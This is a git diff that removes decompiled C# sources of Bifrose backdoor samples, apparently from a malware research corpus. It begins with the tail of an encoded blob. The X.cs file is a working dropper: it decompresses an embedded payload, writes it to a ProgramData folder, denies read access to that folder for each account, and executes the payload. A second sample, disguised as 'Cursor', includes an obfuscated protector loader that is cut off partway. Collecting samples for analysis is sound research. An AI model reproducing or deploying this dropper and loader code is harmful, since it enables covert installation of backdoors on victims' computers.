/viX/uO////0d/5fD2j1qvnf/8Df9/+gVaE/kBTFP/nb/oP/w//y4H/79Smo/K+q//3P/Gd//1/+p9Ii - 5i/+L//T3/+X/6Jf/ff/Hv/b//Qrf+b/+E3/hf/rH/2n/8H/9bf9P/6a3+O//Tt/5n//b/+P7/+B//P/ - ePi//5b/LrmAv4oMx9/+3/yH/81v+n/TEsU/Xv0ff/7v/z/9i9Tjr/wD/6//6A8kx/0//y/+Tkq9/m3/ - 273/+7//B+e/+r/6Tf+vv/L//kt/j//s7/2//93f/3/5Hf+vf4eSxf/393/pv/gf/tf//F94+H/e/QP/ - Tlql+13+l3+Qsuv/a/V//oX/x6f/4H//f7/7Vf/+7/9//L3/5/J3+SX/9//4q//9X/o///v/4U//qj/2 - D/zX/8D/80/8v/6EP/C//G/+w//rk//hr/8HfuUf+X9fk8n7n+7+n78zsemv/vj/2P0Df/nvT8sG/9o/ - +H/ROtA/+K/+gf/zP/l//j3/93/6F/4fH/+f/+PVH/i3/t//82/7f7z4B/8bStbA3f4Hf9Vv+X//s5QL - +wcpqv63yUls/8d/8f/8/D/4P/6a//v/+E3/93////7lfyjFCP/b7/x//W1/4H/9b/5f/+pf8H/8If/h - f/yv/oe/+r//G2llc/dX/rV/5j/43/+D//P/cPF//TN/6h/4n/2L/+cf+3/TYtzv8n/SIidFp3/iL/0H - /++f/j/+3f9x8X+f/oO/gizAL/gf/rpf+u/f/Wv/wf/sbyQm+Zv/wf/+X/zf/vR/8D/4C3/5x//np6Ry - fuU//QfS2vA/8A+Sffgf/uF/95/8v//Xv/FXvv49fsV/+F9Wv8v/9ev+g//zv/7L7v5f/+nv/7//laRk - /qn/8P/4b/+vf+Af/N+r/+2P/6X/9u/yv//i/+OniJL/16/8v37d//sf+vL//td/j91f/fkv/Xu//L/+ - yv/wv/yf/sT/+8//vyh78YvJNPzgf/vzyW34mV/x3/5fP/bX/o//1z/yb1f/08X/8V//gf/In/ln/t// - 9N/4P3/5f/6T/+B/9rv86j/+H1j/z//2//jn/J+////9z/6D/1f12f/5h/6d/9cf/at+j//99/of/8H/ - q/mlf/0f+N/+nY8e/p+nf+A//B/+33/gX0cR4i++/0v+5wta4Pj3/0dKip78g5Ra+dV/xv/9P/zf/9Pv - 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 - V1Ky5L/+FX/h//Xd/+tP/b//mX/x//j3f49f9H//jf/nb/lL//g/8H+/+/BX/an/17/xD/4ySuD/0n/2 - 9/+Vv+n//T/+gf9w9av+j9+WlC45tOQb0Vrs3/t//ev/4H93+H//l7////X3/x6f/b3/+3//N/6Pj//P - f/7/+u/IaP6f9/9Acjb/8n/wv7/7f/6r//e/8vv/T7/p/31Bnt7v8av+zv/rT/2l/+nv/7988gf+mb/H - f/0v/qq/9A/8P/7F/4u0w+/x0//l30trU//gf/oX/oq3//dv/x/+6q/+7/+SVv5+6S+jfNcf/n//W1f/ - 15/1B/6y6n/76/+vf+Z//D//e1pgJVr9H7/iD/yXf///9fcief1P/sZf9dv+E3f/7//jH/xfftv/+4/4 - v//1f/B/+iP/j4u/lJLDvzqnpYVfWW3/Kf/jL/2///2/8Zf9yv/+//hn/sL/61/8v/7r8//9F1NQ/JN7 - v/h//z3+/P/rt/y/6dX/8//+18gD+T//s//5f/zF/9t/8Q/+77/XH/g//3f/4P9193/4P//JX/l//a// - 4a/8/X/V//zr/4P/y2/6+/5f1/83uRX/+2/6H/7q/+4//nv/71/9u/yfb//A//EP/N//zf/tb/2l/zPZ - iv/7L/6/f+X/+R8Wv+p//up//vN/j//2wf+2/X/9bf/h//VP/jG/x3/0H/7e/8cf/c//nZSQ/WX/4K/+ - E//vf/P//o/+xf/jX/89/rdfn4IBykd/8kf+pb/H1a+4+Af/rv9r8X//zb/Hr3hAnsH/fvU3/oH/4+9B - ee4f/wP/87+R4oJ/4T//Pf7XX/lL/oLZH/gv/4G/7M/8Jf/jX/Z//Pf/99//y/7vT0lp/t3/4a/8Pf6P - /+F3+RW/8v+8+3s0/9s/+7s8/lW/9pekUP+37/5ff8Tv/3/9Mf/hf/sPV3/B//GasoK/7J+8+3/96Yf/ - 97/3D/+Pv/LX//P+wf/zn/4Pf/n/+Kv/bITWf/p/+H/9B9Xf9X/9mf/3f/ff/+o/8F+7+3/81v/9//2r - /t5/7+/9e3/l7/h//Md/4P9Gi///3NH/uf0f/F8f/9//7r/9e/zP/y6FHrT2+D+TSJIZ/7+/+l9/5f/x - 2//f/3X1P13+X//j//Gv/98//cv+wv/7V/5KWuD5L/7v//3tH/jX/ut/Phn2/+MeBXL/3W/6v/2m//ef - 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 - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs deleted file mode 100644 index ed80111d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs deleted file mode 100644 index 4349e5b0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs deleted file mode 100644 index 2c56937b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs deleted file mode 100644 index 59b504e5..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs +++ /dev/null @@ -1,92 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X -// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.IO; -using System.IO.Compression; -using System.Reflection; -using System.Resources; -using System.Security.AccessControl; -using System.Security.Principal; - -internal class X -{ - [STAThread] - public static void main() - { - byte[] bytes = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A"))); - string Path = Interaction.Environ("programdata") + "\\2"; - string str = Path + "\\2.exe"; - try - { - FileSystem.MkDir(Path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - X.BD(ref Path); - File.WriteAllBytes(str, bytes); - Interaction.Shell(str); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static byte[] Z(byte[] Byt) - { - MemoryStream memoryStream = new MemoryStream(Byt); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress); - byte[] buffer = new byte[4]; - memoryStream.Position = checked (memoryStream.Length - 5L); - memoryStream.Read(buffer, 0, 4); - int int32 = BitConverter.ToInt32(buffer, 0); - memoryStream.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream.Read(array, 0, int32); - gzipStream.Dispose(); - memoryStream.Dispose(); - return array; - } - - public static void BD(ref string Path) - { - DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All); - try - { - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) accessControl1.GetAccessRules(true, true, typeof (NTAccount))) - { - try - { - DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All); - FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(accessRule.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny); - accessControl2.AddAccessRule(rule); - Directory.SetAccessControl(Path, accessControl2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs deleted file mode 100644 index b19cc14e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: CLSCompliant(true)] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj deleted file mode 100644 index e9214654..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Debug - AnyCPU - {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651} - WinExe - Cursor - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln deleted file mode 100644 index ff248073..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.csproj", "{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs deleted file mode 100644 index d447fda0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs +++ /dev/null @@ -1,651 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PvLogiciels.dotNetProtector.RuntimeInterop -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using \u0081é; -using \u0082\u00BC; -using õ; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace PvLogiciels.dotNetProtector -{ - public class RuntimeInterop : IRuntime - { - internal Assembly[] ò; - internal Assembly \u0081\u00BD; - internal string \u0082\u00B4; - - private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(); - - internal RuntimeInterop() => this.ò = new Assembly[0]; - - internal unsafe Assembly \u0081â(IntPtr _param1) - { - int id = AppDomain.CurrentDomain.Id; - byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - _param1 = ptr; - int num1 = Marshal.ReadInt32(ptr); - int length1 = Marshal.ReadInt32(_param1, 4); - int length2 = Marshal.ReadInt32(_param1, 8); - IntPtr source1 = (IntPtr) (void*) (numPtr + 12); - IntPtr source2 = (IntPtr) 